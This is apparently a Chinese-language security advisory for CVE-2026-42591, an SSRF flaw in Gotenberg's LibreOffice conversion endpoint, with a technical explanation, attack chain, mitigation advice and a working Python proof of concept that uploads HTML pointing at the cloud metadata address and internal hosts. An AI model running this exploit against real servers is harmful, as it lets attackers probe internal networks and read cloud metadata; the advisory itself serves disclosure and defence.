IPBUF安全漏洞报告
English
CVE-2026-42591 CVSS 8.2 高危

CVE-2026-42591 Gotenberg SSRF漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42591
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

SSRFGotenbergLibreOfficePDF生成远程代码执行风险

漏洞概述

Gotenberg 是一个基于 Docker 的无状态 PDF API。在 8.32.0 版本之前,其 LibreOffice 转换端点存在安全漏洞。该端点直接将上传的文档传递给 LibreOffice 处理,且未对文档内容进行深度检查。LibreOffice 在渲染时会自动获取文档中嵌入的外部 URL,从而完全绕过了 Gotenberg 的 SSRF 过滤机制。攻击者可利用此缺陷探测内网服务或读取本地元数据。

技术细节

该漏洞的成因在于 Gotenberg 对 LibreOffice 转换端点 `/forms/libreoffice/convert` 的输入验证逻辑存在缺陷。Gotenberg 仅对 API 请求参数实施了 SSRF 防护,却未检测上传文件内部嵌入的资源引用。当攻击者上传包含恶意链接的文档(如 HTML、ODT)时,Gotenberg 将文件转发给 LibreOffice 进行转换。LibreOffice 在解析文档内容时,会主动向文档内嵌的 URL 发起 HTTP 请求。由于这些请求由 LibreOffice 内部发起,Gotenberg 的过滤器无法拦截,导致服务器被利用作为代理访问内网资源。

攻击链分析

STEP 1
1
攻击者准备包含嵌入内部资源 URL(如元数据服务地址)的恶意文档(如 HTML 或 ODT)。
STEP 2
2
攻击者向 Gotenberg 的 `/forms/libreoffice/convert` 端点上传该恶意文档。
STEP 3
3
Gotenberg 接收文件并直接传递给后端的 LibreOffice 进程进行处理,期间绕过了 SSRF 检测机制。
STEP 4
4
LibreOffice 在渲染文档时解析 HTML 标签,并向攻击者指定的内部 URL 发起 HTTP 请求。
STEP 5
5
目标内网服务收到请求,攻击者通过响应时间或内容确认 SSRF 攻击成功。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-42591 Gotenberg SSRF # The target URL of the vulnerable Gotenberg instance target_url = "http://vulnerable-host:3000/forms/libreoffice/convert" # Malicious HTML content containing an internal URL # LibreOffice will fetch this URL during conversion malicious_html = """ <html> <body> <h1>SSRF Test</h1> <img src="http://169.254.169.254/latest/meta-data/ami-id" /> <img src="http://internal-server.local/admin" /> </body> </html> """ # Prepare the multipart form data files = { 'files': ('exploit.html', malicious_html, 'text/html') } # Data options for LibreOffice conversion data = { 'waitTimeout': '10s' } try: # Send the request to trigger the vulnerability response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("Request sent successfully.") print("Check the internal server logs or DNS tunnel to confirm exploitation.") else: print(f"Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Gotenberg < 8.32.0

防御指南

临时缓解措施
建议立即升级到修复版本 8.32.0。如暂时无法升级,应在 Gotenberg 所在的网络环境中配置防火墙规则,阻断其对非公网必要地址的访问,特别是阻断对内网 169.254.169.254 等元数据服务的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表